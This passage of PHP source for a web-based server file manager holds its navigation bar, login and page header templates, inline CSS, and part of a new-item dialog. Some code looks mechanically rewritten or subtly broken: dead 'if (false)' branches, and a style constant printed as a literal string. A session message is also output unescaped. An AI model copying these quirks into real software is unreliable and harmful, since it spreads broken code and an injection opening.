                for ($x = 3; $x < count($lines); $x++) {
                    @fputs($fh, $lines[$x], strlen($lines[$x]));
                }
                @fclose($fh);
            }
        }
    }
}
//--- templates functions
/**
 * Show nav block
 * @param string $path
 */
function fm_show_nav_path($path)
{
    global $lang, $sticky_navbar;
    $isStickyNavBar = $sticky_navbar ? 'fixed-top' : '';
    $getTheme = fm_get_theme();
    $getTheme .= " navbar-light";
    if (false) {
        $getTheme .= " navbar-dark";
    } else {
        $getTheme .= " bg-white";
    }
    ?>
    <nav class="navbar navbar-expand-lg <?php 
    echo $getTheme;
    ?> mb-4 main-nav <?php 
    echo $isStickyNavBar;
    ?>">
        <a class="navbar-brand" href=""> <?php 
    echo lng('AppTitle');
    ?> </a>
        <button class="navbar-toggler" type="button" data-toggle="collapse" data-target="#navbarSupportedContent" aria-controls="navbarSupportedContent" aria-expanded="false" aria-label="Toggle navigation">
            <span class="navbar-toggler-icon"></span>
        </button>
        <div class="collapse navbar-collapse" id="navbarSupportedContent">

            <?php 
    $path = fm_clean_path($path);
    $root_url = "<a href='?p='><i class='fa fa-home' aria-hidden='true' title='FM_ROOT_PATH'></i></a>";
    $sep = '<i class="bread-crumb"> / </i>';
    if ($path != '') {
        $exploded = explode('/', $path);
        $count = count($exploded);
        $array = array();
        $parent = '';
        for ($i = 0; $i < $count; $i++) {
            $parent = trim($parent . '/' . $exploded[$i], '/');
            $parent_enc = urlencode($parent);
            $array[] = "<a href='?p={$parent_enc}'>" . fm_enc(fm_convert_win($exploded[$i])) . "</a>";
        }
        $root_url .= $sep . implode($sep, $array);
    }
    echo '<div class="col-xs-6 col-sm-5">' . $root_url . '</div>';
    ?>

            <div class="col-xs-6 col-sm-7 text-right">
                <ul class="navbar-nav mr-auto float-right <?php 
    echo fm_get_theme();
    ?>">
                    <li class="nav-item mr-2">
                        <div class="input-group input-group-sm mr-1" style="margin-top:4px;">
                            <input type="text" class="form-control" placeholder="<?php 
    echo lng('Search');
    ?>" aria-label="<?php 
    echo lng('Search');
    ?>" aria-describedby="search-addon2" id="search-addon">
                            <div class="input-group-append">
                                <span class="input-group-text" id="search-addon2"><i class="fa fa-search"></i></span>
                            </div>
                            <div class="input-group-append btn-group">
                                <span class="input-group-text dropdown-toggle" id="search-addon2" data-toggle="dropdown" aria-haspopup="true" aria-expanded="false"></span>
                                  <div class="dropdown-menu dropdown-menu-right">
                                    <a class="dropdown-item" href="<?php 
    echo $path2 = $path ? $path : '.';
    ?>" id="js-search-modal" data-toggle="modal" data-target="#searchModal"><?php 
    echo lng('Advanced Search');
    ?></a>
                                  </div>
                            </div>
                        </div>
                    </li>
                    <?php 
    if (!FM_READONLY) {
        ?>
                    <li class="nav-item">
                        <a title="<?php 
        echo lng('Upload');
        ?>" class="nav-link" href="?p=<?php 
        echo urlencode(FM_PATH);
        ?>&amp;upload"><i class="fa fa-cloud-upload" aria-hidden="true"></i> <?php 
        echo lng('Upload');
        ?></a>
                    </li>
                    <li class="nav-item">
                        <a title="<?php 
        echo lng('NewItem');
        ?>" class="nav-link" href="#createNewItem" data-toggle="modal" data-target="#createNewItem"><i class="fa fa-plus-square"></i> <?php 
        echo lng('NewItem');
        ?></a>
                    </li>
                    <?php 
    }
    ?>
                    <?php 
    if (FM_USE_AUTH) {
        ?>
                    <li class="nav-item avatar dropdown">
                        <a class="nav-link dropdown-toggle" id="navbarDropdownMenuLink-5" data-toggle="dropdown" aria-haspopup="true" aria-expanded="false"> <i class="fa fa-user-circle"></i> <?php 
        if (isset($_SESSION[FM_SESSION_ID]['logged'])) {
            echo $_SESSION[FM_SESSION_ID]['logged'];
        }
        ?></a>
                        <div class="dropdown-menu dropdown-menu-right <?php 
        echo fm_get_theme();
        ?>" aria-labelledby="navbarDropdownMenuLink-5">
                            <?php 
        if (!FM_READONLY) {
            ?>
                            <a title="<?php 
            echo lng('Settings');
            ?>" class="dropdown-item nav-link" href="?p=<?php 
            echo urlencode(FM_PATH);
            ?>&amp;settings=1"><i class="fa fa-cog" aria-hidden="true"></i> <?php 
            echo lng('Settings');
            ?></a>
                            <?php 
        }
        ?>
                            <a title="<?php 
        echo lng('Help');
        ?>" class="dropdown-item nav-link" href="?p=<?php 
        echo urlencode(FM_PATH);
        ?>&amp;help=2"><i class="fa fa-exclamation-circle" aria-hidden="true"></i> <?php 
        echo lng('Help');
        ?></a>
                            <a title="<?php 
        echo lng('Logout');
        ?>" class="dropdown-item nav-link" href="?logout=1"><i class="fa fa-sign-out" aria-hidden="true"></i> <?php 
        echo lng('Logout');
        ?></a>
                        </div>
                    </li>
                    <?php 
    } else {
        ?>
                        <?php 
        if (!FM_READONLY) {
            ?>
                            <li class="nav-item">
                                <a title="<?php 
            echo lng('Settings');
            ?>" class="dropdown-item nav-link" href="?p=<?php 
            echo urlencode(FM_PATH);
            ?>&amp;settings=1"><i class="fa fa-cog" aria-hidden="true"></i> <?php 
            echo lng('Settings');
            ?></a>
                            </li>
                        <?php 
        }
        ?>
                    <?php 
    }
    ?>
                </ul>
            </div>
        </div>
    </nav>
    <?php 
}
/**
 * Show message from session
 */
function fm_show_message()
{
    if (isset($_SESSION[FM_SESSION_ID]['message'])) {
        $class = isset($_SESSION[FM_SESSION_ID]['status']) ? $_SESSION[FM_SESSION_ID]['status'] : 'ok';
        echo '<p class="message ' . $class . '">' . $_SESSION[FM_SESSION_ID]['message'] . '</p>';
        unset($_SESSION[FM_SESSION_ID]['message']);
        unset($_SESSION[FM_SESSION_ID]['status']);
    }
}
/**
 * Show page header in Login Form
 */
function fm_show_header_login()
{
    $sprites_ver = '20160315';
    header("Content-Type: text/html; charset=utf-8");
    header("Expires: Sat, 26 Jul 1997 05:00:00 GMT");
    header("Cache-Control: no-store, no-cache, must-revalidate, post-check=0, pre-check=0");
    header("Pragma: no-cache");
    global $lang, $root_url, $favicon_path;
    ?>
<!DOCTYPE html>
<html lang="en">
<head>
    <meta charset="utf-8">
    <meta name="viewport" content="width=device-width, initial-scale=1, shrink-to-fit=no">
    <meta name="description" content="Web based File Manager in PHP, Manage your files efficiently and easily with Tiny File Manager">
    <meta name="author" content="CCP Programmers">
    <meta name="robots" content="noindex, nofollow">
    <meta name="googlebot" content="noindex">
    <?php 
    if ($favicon_path) {
        echo '<link rel="icon" href="' . fm_enc($favicon_path) . '" type="image/png">';
    }
    ?>
    <title><?php 
    echo fm_enc(APP_TITLE);
    ?></title>
    <link rel="stylesheet" href="https://stackpath.bootstrapcdn.com/bootstrap/4.5.2/css/bootstrap.min.css">
    <style>
        body.fm-login-page{ background-color:#f7f9fb;font-size:14px;background-color:#f7f9fb;background-image:url("data:image/svg+xml,%3Csvg xmlns='http://www.w3.org/2000/svg' viewBox='0 0 304 304' width='304' height='304'%3E%3Cpath fill='%23e2e9f1' fill-opacity='0.4' d='M44.1 224a5 5 0 1 1 0 2H0v-2h44.1zm160 48a5 5 0 1 1 0 2H82v-2h122.1zm57.8-46a5 5 0 1 1 0-2H304v2h-42.1zm0 16a5 5 0 1 1 0-2H304v2h-42.1zm6.2-114a5 5 0 1 1 0 2h-86.2a5 5 0 1 1 0-2h86.2zm-256-48a5 5 0 1 1 0 2H0v-2h12.1zm185.8 34a5 5 0 1 1 0-2h86.2a5 5 0 1 1 0 2h-86.2zM258 12.1a5 5 0 1 1-2 0V0h2v12.1zm-64 208a5 5 0 1 1-2 0v-54.2a5 5 0 1 1 2 0v54.2zm48-198.2V80h62v2h-64V21.9a5 5 0 1 1 2 0zm16 16V64h46v2h-48V37.9a5 5 0 1 1 2 0zm-128 96V208h16v12.1a5 5 0 1 1-2 0V210h-16v-76.1a5 5 0 1 1 2 0zm-5.9-21.9a5 5 0 1 1 0 2H114v48H85.9a5 5 0 1 1 0-2H112v-48h12.1zm-6.2 130a5 5 0 1 1 0-2H176v-74.1a5 5 0 1 1 2 0V242h-60.1zm-16-64a5 5 0 1 1 0-2H114v48h10.1a5 5 0 1 1 0 2H112v-48h-10.1zM66 284.1a5 5 0 1 1-2 0V274H50v30h-2v-32h18v12.1zM236.1 176a5 5 0 1 1 0 2H226v94h48v32h-2v-30h-48v-98h12.1zm25.8-30a5 5 0 1 1 0-2H274v44.1a5 5 0 1 1-2 0V146h-10.1zm-64 96a5 5 0 1 1 0-2H208v-80h16v-14h-42.1a5 5 0 1 1 0-2H226v18h-16v80h-12.1zm86.2-210a5 5 0 1 1 0 2H272V0h2v32h10.1zM98 101.9V146H53.9a5 5 0 1 1 0-2H96v-42.1a5 5 0 1 1 2 0zM53.9 34a5 5 0 1 1 0-2H80V0h2v34H53.9zm60.1 3.9V66H82v64H69.9a5 5 0 1 1 0-2H80V64h32V37.9a5 5 0 1 1 2 0zM101.9 82a5 5 0 1 1 0-2H128V37.9a5 5 0 1 1 2 0V82h-28.1zm16-64a5 5 0 1 1 0-2H146v44.1a5 5 0 1 1-2 0V18h-26.1zm102.2 270a5 5 0 1 1 0 2H98v14h-2v-16h124.1zM242 149.9V160h16v34h-16v62h48v48h-2v-46h-48v-66h16v-30h-16v-12.1a5 5 0 1 1 2 0zM53.9 18a5 5 0 1 1 0-2H64V2H48V0h18v18H53.9zm112 32a5 5 0 1 1 0-2H192V0h50v2h-48v48h-28.1zm-48-48a5 5 0 0 1-9.8-2h2.07a3 3 0 1 0 5.66 0H178v34h-18V21.9a5 5 0 1 1 2 0V32h14V2h-58.1zm0 96a5 5 0 1 1 0-2H137l32-32h39V21.9a5 5 0 1 1 2 0V66h-40.17l-32 32H117.9zm28.1 90.1a5 5 0 1 1-2 0v-76.51L175.59 80H224V21.9a5 5 0 1 1 2 0V82h-49.59L146 112.41v75.69zm16 32a5 5 0 1 1-2 0v-99.51L184.59 96H300.1a5 5 0 0 1 3.9-3.9v2.07a3 3 0 0 0 0 5.66v2.07a5 5 0 0 1-3.9-3.9H185.41L162 121.41v98.69zm-144-64a5 5 0 1 1-2 0v-3.51l48-48V48h32V0h2v50H66v55.41l-48 48v2.69zM50 53.9v43.51l-48 48V208h26.1a5 5 0 1 1 0 2H0v-65.41l48-48V53.9a5 5 0 1 1 2 0zm-16 16V89.41l-34 34v-2.82l32-32V69.9a5 5 0 1 1 2 0zM12.1 32a5 5 0 1 1 0 2H9.41L0 43.41V40.6L8.59 32h3.51zm265.8 18a5 5 0 1 1 0-2h18.69l7.41-7.41v2.82L297.41 50H277.9zm-16 160a5 5 0 1 1 0-2H288v-71.41l16-16v2.82l-14 14V210h-28.1zm-208 32a5 5 0 1 1 0-2H64v-22.59L40.59 194H21.9a5 5 0 1 1 0-2H41.41L66 216.59V242H53.9zm150.2 14a5 5 0 1 1 0 2H96v-56.6L56.6 162H37.9a5 5 0 1 1 0-2h19.5L98 200.6V256h106.1zm-150.2 2a5 5 0 1 1 0-2H80v-46.59L48.59 178H21.9a5 5 0 1 1 0-2H49.41L82 208.59V258H53.9zM34 39.8v1.61L9.41 66H0v-2h8.59L32 40.59V0h2v39.8zM2 300.1a5 5 0 0 1 3.9 3.9H3.83A3 3 0 0 0 0 302.17V256h18v48h-2v-46H2v42.1zM34 241v63h-2v-62H0v-2h34v1zM17 18H0v-2h16V0h2v18h-1zm273-2h14v2h-16V0h2v16zm-32 273v15h-2v-14h-14v14h-2v-16h18v1zM0 92.1A5.02 5.02 0 0 1 6 97a5 5 0 0 1-6 4.9v-2.07a3 3 0 1 0 0-5.66V92.1zM80 272h2v32h-2v-32zm37.9 32h-2.07a3 3 0 0 0-5.66 0h-2.07a5 5 0 0 1 9.8 0zM5.9 0A5.02 5.02 0 0 1 0 5.9V3.83A3 3 0 0 0 3.83 0H5.9zm294.2 0h2.07A3 3 0 0 0 304 3.83V5.9a5 5 0 0 1-3.9-5.9zm3.9 300.1v2.07a3 3 0 0 0-1.83 1.83h-2.07a5 5 0 0 1 3.9-3.9zM97 100a3 3 0 1 0 0-6 3 3 0 0 0 0 6zm0-16a3 3 0 1 0 0-6 3 3 0 0 0 0 6zm16 16a3 3 0 1 0 0-6 3 3 0 0 0 0 6zm16 16a3 3 0 1 0 0-6 3 3 0 0 0 0 6zm0 16a3 3 0 1 0 0-6 3 3 0 0 0 0 6zm-48 32a3 3 0 1 0 0-6 3 3 0 0 0 0 6zm16 16a3 3 0 1 0 0-6 3 3 0 0 0 0 6zm32 48a3 3 0 1 0 0-6 3 3 0 0 0 0 6zm-16 16a3 3 0 1 0 0-6 3 3 0 0 0 0 6zm32-16a3 3 0 1 0 0-6 3 3 0 0 0 0 6zm0-32a3 3 0 1 0 0-6 3 3 0 0 0 0 6zm16 32a3 3 0 1 0 0-6 3 3 0 0 0 0 6zm32 16a3 3 0 1 0 0-6 3 3 0 0 0 0 6zm0-16a3 3 0 1 0 0-6 3 3 0 0 0 0 6zm-16-64a3 3 0 1 0 0-6 3 3 0 0 0 0 6zm16 0a3 3 0 1 0 0-6 3 3 0 0 0 0 6zm16 96a3 3 0 1 0 0-6 3 3 0 0 0 0 6zm0 16a3 3 0 1 0 0-6 3 3 0 0 0 0 6zm16 16a3 3 0 1 0 0-6 3 3 0 0 0 0 6zm16-144a3 3 0 1 0 0-6 3 3 0 0 0 0 6zm0 32a3 3 0 1 0 0-6 3 3 0 0 0 0 6zm16-32a3 3 0 1 0 0-6 3 3 0 0 0 0 6zm16-16a3 3 0 1 0 0-6 3 3 0 0 0 0 6zm-96 0a3 3 0 1 0 0-6 3 3 0 0 0 0 6zm0 16a3 3 0 1 0 0-6 3 3 0 0 0 0 6zm16-32a3 3 0 1 0 0-6 3 3 0 0 0 0 6zm96 0a3 3 0 1 0 0-6 3 3 0 0 0 0 6zm-16-64a3 3 0 1 0 0-6 3 3 0 0 0 0 6zm16-16a3 3 0 1 0 0-6 3 3 0 0 0 0 6zm-32 0a3 3 0 1 0 0-6 3 3 0 0 0 0 6zm0-16a3 3 0 1 0 0-6 3 3 0 0 0 0 6zm-16 0a3 3 0 1 0 0-6 3 3 0 0 0 0 6zm-16 0a3 3 0 1 0 0-6 3 3 0 0 0 0 6zm-16 0a3 3 0 1 0 0-6 3 3 0 0 0 0 6zM49 36a3 3 0 1 0 0-6 3 3 0 0 0 0 6zm-32 0a3 3 0 1 0 0-6 3 3 0 0 0 0 6zm32 16a3 3 0 1 0 0-6 3 3 0 0 0 0 6zM33 68a3 3 0 1 0 0-6 3 3 0 0 0 0 6zm16-48a3 3 0 1 0 0-6 3 3 0 0 0 0 6zm0 240a3 3 0 1 0 0-6 3 3 0 0 0 0 6zm16 32a3 3 0 1 0 0-6 3 3 0 0 0 0 6zm-16-64a3 3 0 1 0 0-6 3 3 0 0 0 0 6zm0 16a3 3 0 1 0 0-6 3 3 0 0 0 0 6zm-16-32a3 3 0 1 0 0-6 3 3 0 0 0 0 6zm80-176a3 3 0 1 0 0-6 3 3 0 0 0 0 6zm16 0a3 3 0 1 0 0-6 3 3 0 0 0 0 6zm-16-16a3 3 0 1 0 0-6 3 3 0 0 0 0 6zm32 48a3 3 0 1 0 0-6 3 3 0 0 0 0 6zm16-16a3 3 0 1 0 0-6 3 3 0 0 0 0 6zm0-32a3 3 0 1 0 0-6 3 3 0 0 0 0 6zm112 176a3 3 0 1 0 0-6 3 3 0 0 0 0 6zm-16 16a3 3 0 1 0 0-6 3 3 0 0 0 0 6zm0 16a3 3 0 1 0 0-6 3 3 0 0 0 0 6zm0 16a3 3 0 1 0 0-6 3 3 0 0 0 0 6zM17 180a3 3 0 1 0 0-6 3 3 0 0 0 0 6zm0 16a3 3 0 1 0 0-6 3 3 0 0 0 0 6zm0-32a3 3 0 1 0 0-6 3 3 0 0 0 0 6zm16 0a3 3 0 1 0 0-6 3 3 0 0 0 0 6zM17 84a3 3 0 1 0 0-6 3 3 0 0 0 0 6zm32 64a3 3 0 1 0 0-6 3 3 0 0 0 0 6zm16-16a3 3 0 1 0 0-6 3 3 0 0 0 0 6z'%3E%3C/path%3E%3C/svg%3E");}
        .fm-login-page .brand{ width:121px;overflow:hidden;margin:0 auto;position:relative;z-index:1}
        .fm-login-page .brand img{ width:100%}
        .fm-login-page .card-wrapper{ width:360px;margin-top:10%;margin-left:auto;margin-right:auto;}
        .fm-login-page .card{ border-color:transparent;box-shadow:0 4px 8px rgba(0,0,0,.05)}
        .fm-login-page .card-title{ margin-bottom:1.5rem;font-size:24px;font-weight:400;}
        .fm-login-page .form-control{ border-width:2.3px}
        .fm-login-page .form-group label{ width:100%}
        .fm-login-page .btn.btn-block{ padding:12px 10px}
        .fm-login-page .footer{ margin:40px 0;color:#888;text-align:center}
        @media screen and (max-width:425px){
            .fm-login-page .card-wrapper{ width:90%;margin:0 auto;margin-top:10%;}
        }
        @media screen and (max-width:320px){
            .fm-login-page .card.fat{ padding:0}
            .fm-login-page .card.fat .card-body{ padding:15px}
        }
        .message{ padding:4px 7px;border:1px solid #ddd;background-color:#fff}
        .message.ok{ border-color:green;color:green}
        .message.error{ border-color:red;color:red}
        .message.alert{ border-color:orange;color:orange}
        body.fm-login-page.theme-dark {background-color: #2f2a2a;}
        .theme-dark svg g, .theme-dark svg path {fill: #ffffff; }
    </style>
</head>
<body class="fm-login-page <?php 
    echo "";
    ?>">
<div id="wrapper" class="container-fluid">

    <?php 
}
/**
 * Show page footer in Login Form
 */
function fm_show_footer_login()
{
    ?>
</div>
<script src="https://ajax.googleapis.com/ajax/libs/jquery/3.5.1/jquery.slim.min.js"></script>
<script src="https://maxcdn.bootstrapcdn.com/bootstrap/4.5.0/js/bootstrap.min.js"></script>
</body>
</html>
<?php 
}
/**
 * Show Header after login
 */
function fm_show_header()
{
    $sprites_ver = '20160315';
    header("Content-Type: text/html; charset=utf-8");
    header("Expires: Sat, 26 Jul 1997 05:00:00 GMT");
    header("Cache-Control: no-store, no-cache, must-revalidate, post-check=0, pre-check=0");
    header("Pragma: no-cache");
    global $lang, $root_url, $sticky_navbar, $favicon_path;
    $isStickyNavBar = $sticky_navbar ? 'navbar-fixed' : 'navbar-normal';
    ?>
<!DOCTYPE html>
<html>
<head>
    <meta charset="utf-8">
    <meta name="viewport" content="width=device-width, initial-scale=1, shrink-to-fit=no">
    <meta name="description" content="Web based File Manager in PHP, Manage your files efficiently and easily with Tiny File Manager">
    <meta name="author" content="CCP Programmers">
    <meta name="robots" content="noindex, nofollow">
    <meta name="googlebot" content="noindex">
    <?php 
    if ($favicon_path) {
        echo '<link rel="icon" href="' . fm_enc($favicon_path) . '" type="image/png">';
    }
    ?>
    <title><?php 
    echo fm_enc(APP_TITLE);
    ?></title>
    <link rel="stylesheet" href="https://stackpath.bootstrapcdn.com/bootstrap/4.5.2/css/bootstrap.min.css">
    <link rel="stylesheet" href="https://cdnjs.cloudflare.com/ajax/libs/font-awesome/4.7.0/css/font-awesome.min.css">
    <link rel="stylesheet" href="https://cdnjs.cloudflare.com/ajax/libs/ekko-lightbox/5.3.0/ekko-lightbox.css" />
    <?php 
    if (FM_USE_HIGHLIGHTJS) {
        ?>
    <link rel="stylesheet" href="https://cdnjs.cloudflare.com/ajax/libs/highlight.js/10.6.0/styles/<?php 
        echo "FM_HIGHLIGHTJS_STYLE";
        ?>.min.css">
    <?php 
    }
    ?>
    <style>
        body { font-size:14px;color:#222;background:#F7F7F7; }
        body.navbar-fixed { margin-top:55px; }
        a:hover, a:visited, a:focus { text-decoration:none !important; }
        * { -webkit-border-radius:0 !important;-moz-border-radius:0 !important;border-radius:0 !important; }
        .filename, td, th { white-space:nowrap  }
        .navbar-brand { font-weight:bold; }
        .nav-item.avatar a { cursor:pointer;text-transform:capitalize; }
        .nav-item.avatar a > i { font-size:15px; }
        .nav-item.avatar .dropdown-menu a { font-size:13px; }
        #search-addon { font-size:12px;border-right-width:0; }
        #search-addon2 { background:transparent;border-left:0; }
        .bread-crumb { color:#cccccc;font-style:normal; }
        #main-table .filename a { color:#222222; }
        .table td, .table th { vertical-align:middle !important; }
        .table .custom-checkbox-td .custom-control.custom-checkbox, .table .custom-checkbox-header .custom-control.custom-checkbox { min-width:18px; }
        .table-sm td, .table-sm th { padding:.4rem; }
        .table-bordered td, .table-bordered th { border:1px solid #f1f1f1; }
        .hidden { display:none  }
        pre.with-hljs { padding:0  }
        pre.with-hljs code { margin:0;border:0;overflow:visible  }
        code.maxheight, pre.maxheight { max-height:512px  }
        .fa.fa-caret-right { font-size:1.2em;margin:0 4px;vertical-align:middle;color:#ececec  }
        .fa.fa-home { font-size:1.3em;vertical-align:bottom  }
        .path { margin-bottom:10px  }
        form.dropzone { min-height:200px;border:2px dashed #007bff;line-height:6rem; }
        .right { text-align:right  }
        .center, .close, .login-form { text-align:center  }
        .message { padding:4px 7px;border:1px solid #ddd;background-color:#fff  }
        .message.ok { border-color:green;color:green  }
        .message.error { border-color:red;color:red  }
        .message.alert { border-color:orange;color:orange  }
        .preview-img { max-width:100%;background:url(data:image/png;base64,iVBORw0KGgoAAAANSUhEUgAAABAAAAAQCAIAAACQkWg2AAAAKklEQVR42mL5//8/Azbw+PFjrOJMDCSCUQ3EABZc4S0rKzsaSvTTABBgAMyfCMsY4B9iAAAAAElFTkSuQmCC)  }
        .inline-actions > a > i { font-size:1em;margin-left:5px;background:#3785c1;color:#fff;padding:3px;border-radius:3px  }
        .preview-video { position:relative;max-width:100%;height:0;padding-bottom:62.5%;margin-bottom:10px  }
        .preview-video video { position:absolute;width:100%;height:100%;left:0;top:0;background:#000  }
        .compact-table { border:0;width:auto  }
        .compact-table td, .compact-table th { width:100px;border:0;text-align:center  }
        .compact-table tr:hover td { background-color:#fff  }
        .filename { max-width:420px;overflow:hidden;text-overflow:ellipsis  }
        .break-word { word-wrap:break-word;margin-left:30px  }
        .break-word.float-left a { color:#7d7d7d  }
        .break-word + .float-right { padding-right:30px;position:relative  }
        .break-word + .float-right > a { color:#7d7d7d;font-size:1.2em;margin-right:4px  }
        #editor { position:absolute;right:15px;top:100px;bottom:15px;left:15px  }
        @media (max-width:481px) {
            #editor { top:150px; }
        }
        #normal-editor { border-radius:3px;border-width:2px;padding:10px;outline:none; }
        .btn-2 { border-radius:0;padding:3px 6px;font-size:small; }
        li.file:before,li.folder:before { font:normal normal normal 14px/1 FontAwesome;content:"\f016";margin-right:5px }
        li.folder:before { content:"\f114" }
        i.fa.fa-folder-o { color:#0157b3 }
        i.fa.fa-picture-o { color:#26b99a }
        i.fa.fa-file-archive-o { color:#da7d7d }
        .btn-2 i.fa.fa-file-archive-o { color:inherit }
        i.fa.fa-css3 { color:#f36fa0 }
        i.fa.fa-file-code-o { color:#007bff }
        i.fa.fa-code { color:#cc4b4c }
        i.fa.fa-file-text-o { color:#0096e6 }
        i.fa.fa-html5 { color:#d75e72 }
        i.fa.fa-file-excel-o { color:#09c55d }
        i.fa.fa-file-powerpoint-o { color:#f6712e }
        i.go-back { font-size:1.2em;color:#007bff; }
        .main-nav { padding:0.2rem 1rem;box-shadow:0 4px 5px 0 rgba(0, 0, 0, .14), 0 1px 10px 0 rgba(0, 0, 0, .12), 0 2px 4px -1px rgba(0, 0, 0, .2)  }
        .dataTables_filter { display:none; }
        table.dataTable thead .sorting { cursor:pointer;background-repeat:no-repeat;background-position:center right;background-image:url('data:image/png;base64,iVBORw0KGgoAAAANSUhEUgAAABMAAAATCAQAAADYWf5HAAAAkElEQVQoz7XQMQ5AQBCF4dWQSJxC5wwax1Cq1e7BAdxD5SL+Tq/QCM1oNiJidwox0355mXnG/DrEtIQ6azioNZQxI0ykPhTQIwhCR+BmBYtlK7kLJYwWCcJA9M4qdrZrd8pPjZWPtOqdRQy320YSV17OatFC4euts6z39GYMKRPCTKY9UnPQ6P+GtMRfGtPnBCiqhAeJPmkqAAAAAElFTkSuQmCC'); }
        table.dataTable thead .sorting_asc { cursor:pointer;background-repeat:no-repeat;background-position:center right;background-image:url('data:image/png;base64,iVBORw0KGgoAAAANSUhEUgAAABMAAAATCAYAAAByUDbMAAAAZ0lEQVQ4y2NgGLKgquEuFxBPAGI2ahhWCsS/gDibUoO0gPgxEP8H4ttArEyuQYxAPBdqEAxPBImTY5gjEL9DM+wTENuQahAvEO9DMwiGdwAxOymGJQLxTyD+jgWDxCMZRsEoGAVoAADeemwtPcZI2wAAAABJRU5ErkJggg=='); }
        table.dataTable thead .sorting_desc { cursor:pointer;background-repeat:no-repeat;background-position:center right;background-image:url('data:image/png;base64,iVBORw0KGgoAAAANSUhEUgAAABMAAAATCAYAAAByUDbMAAAAZUlEQVQ4y2NgGAWjYBSggaqGu5FA/BOIv2PBIPFEUgxjB+IdQPwfC94HxLykus4GiD+hGfQOiB3J8SojEE9EM2wuSJzcsFMG4ttQgx4DsRalkZENxL+AuJQaMcsGxBOAmGvopk8AVz1sLZgg0bsAAAAASUVORK5CYII='); }
        table.dataTable thead tr:first-child th.custom-checkbox-header:first-child { background-image:none; }
        .footer-action li { margin-bottom:10px; }
        .app-v-title { font-size:24px;font-weight:300;letter-spacing:-.5px;text-transform:uppercase; }
        hr.custom-hr { border-top:1px dashed #8c8b8b;border-bottom:1px dashed #fff; }
        .ekko-lightbox .modal-dialog { max-width:98%; }
        .ekko-lightbox-item.fade.in.show .row { background:#fff; }
        .ekko-lightbox-nav-overlay { display:flex !important;opacity:1 !important;height:auto !important;top:50%; }
        .ekko-lightbox-nav-overlay a { opacity:1 !important;width:auto !important;text-shadow:none !important;color:#3B3B3B; }
        .ekko-lightbox-nav-overlay a:hover { color:#20507D; }
        #snackbar { visibility:hidden;min-width:250px;margin-left:-125px;background-color:#333;color:#fff;text-align:center;border-radius:2px;padding:16px;position:fixed;z-index:1;left:50%;bottom:30px;font-size:17px; }
        #snackbar.show { visibility:visible;-webkit-animation:fadein 0.5s, fadeout 0.5s 2.5s;animation:fadein 0.5s, fadeout 0.5s 2.5s; }
        @-webkit-keyframes fadein { from { bottom:0;opacity:0; }
        to { bottom:30px;opacity:1; }
        }
        @keyframes fadein { from { bottom:0;opacity:0; }
        to { bottom:30px;opacity:1; }
        }
        @-webkit-keyframes fadeout { from { bottom:30px;opacity:1; }
        to { bottom:0;opacity:0; }
        }
        @keyframes fadeout { from { bottom:30px;opacity:1; }
        to { bottom:0;opacity:0; }
        }
        #main-table span.badge { border-bottom:2px solid #f8f9fa }
        #main-table span.badge:nth-child(1) { border-color:#df4227 }
        #main-table span.badge:nth-child(2) { border-color:#f8b600 }
        #main-table span.badge:nth-child(3) { border-color:#00bd60 }
        #main-table span.badge:nth-child(4) { border-color:#4581ff }
        #main-table span.badge:nth-child(5) { border-color:#ac68fc }
        #main-table span.badge:nth-child(6) { border-color:#45c3d2 }
        @media only screen and (min-device-width:768px) and (max-device-width:1024px) and (orientation:landscape) and (-webkit-min-device-pixel-ratio:2) { .navbar-collapse .col-xs-6.text-right { padding:0; }
        }
        .btn.active.focus,.btn.active:focus,.btn.focus,.btn.focus:active,.btn:active:focus,.btn:focus { outline:0!important;outline-offset:0!important;background-image:none!important;-webkit-box-shadow:none!important;box-shadow:none!important }
        .lds-facebook { display:none;position:relative;width:64px;height:64px }
        .lds-facebook div,.lds-facebook.show-me { display:inline-block }
        .lds-facebook div { position:absolute;left:6px;width:13px;background:#007bff;animation:lds-facebook 1.2s cubic-bezier(0,.5,.5,1) infinite }
        .lds-facebook div:nth-child(1) { left:6px;animation-delay:-.24s }
        .lds-facebook div:nth-child(2) { left:26px;animation-delay:-.12s }
        .lds-facebook div:nth-child(3) { left:45px;animation-delay:0s }
        @keyframes lds-facebook { 0% { top:6px;height:51px }
        100%,50% { top:19px;height:26px }
        }
        ul#search-wrapper { padding-left: 0;border: 1px solid #ecececcc; } ul#search-wrapper li { list-style: none; padding: 5px;border-bottom: 1px solid #ecececcc; }
        ul#search-wrapper li:nth-child(odd){ background: #f9f9f9cc;}
        .c-preview-img {
            max-width: 300px;
        }
    </style>
    <?php 
    if (false) {
        ?>
        <style>
            body.theme-dark { background-color: #2f2a2a; }
            .list-group .list-group-item { background: #343a40; }
            .theme-dark .navbar-nav i, .navbar-nav .dropdown-toggle, .break-word { color: #ffffff; }
            a, a:hover, a:visited, a:active, #main-table .filename a { color: #00ff1f; }
            ul#search-wrapper li:nth-child(odd) { background: #f9f9f9cc; }
            .theme-dark .btn-outline-primary { color: #00ff1f; border-color: #00ff1f; }
            .theme-dark .btn-outline-primary:hover, .theme-dark .btn-outline-primary:active { background-color: #028211;}
        </style>
    <?php 
    }
    ?>
</head>
<body class="<?php 
    echo "";
    ?> <?php 
    echo $isStickyNavBar;
    ?>">
<div id="wrapper" class="container-fluid">

    <!-- New Item creation -->
    <div class="modal fade" id="createNewItem" tabindex="-1" role="dialog" aria-label="newItemModalLabel" aria-hidden="true">
        <div class="modal-dialog" role="document">
            <div class="modal-content <?php 
    echo fm_get_theme();
    ?>">
                <div class="modal-header">
                    <h5 class="modal-title" id="newItemModalLabel"><i class="fa fa-plus-square fa-fw"></i><?php 
    echo lng('CreateNewItem');
    ?></h5>
                    <button type="button" class="close" data-dismiss="modal" aria-label="Close">
                        <span aria-hidden="true">&times;</span>
                    </button>
                </div>
                <div class="modal-body">
                    <p><label for="newfile"><?php 
    echo lng('ItemType');
    ?> </label></p>

                    <div class="custom-control custom-radio custom-control-inline">
                        <input type="radio" id="customRadioInline1" name="newfile" value="file" class="custom-control-input">
                        <label class="custom-control-label" for="customRadioInline1"><?php 
    echo lng('File');
    ?></label>
                    </div>

                    <div class="custom-control custom-radio custom-control-inline">
                        <input type="radio" id="customRadioInline2" name="newfile" value="folder" class="custom-control-input" checked="">
                        <label class="custom-control-label" for="customRadioInline2"><?php 
    echo lng('Folder');
    ?></label>
                    </div>

                    <p class="mt-3"><label for="newfilename"><?php 
    echo lng('ItemName');
    ?> </label></p>
                    <input type="text" name="newfilename" id="newfilename" value="" class="form-control">
                </div>
                <div class="modal-footer">
                    <button type="button" class="btn btn-outline-primary" data-dismiss="modal"><i class="fa fa-times-circle"></i> <?php 
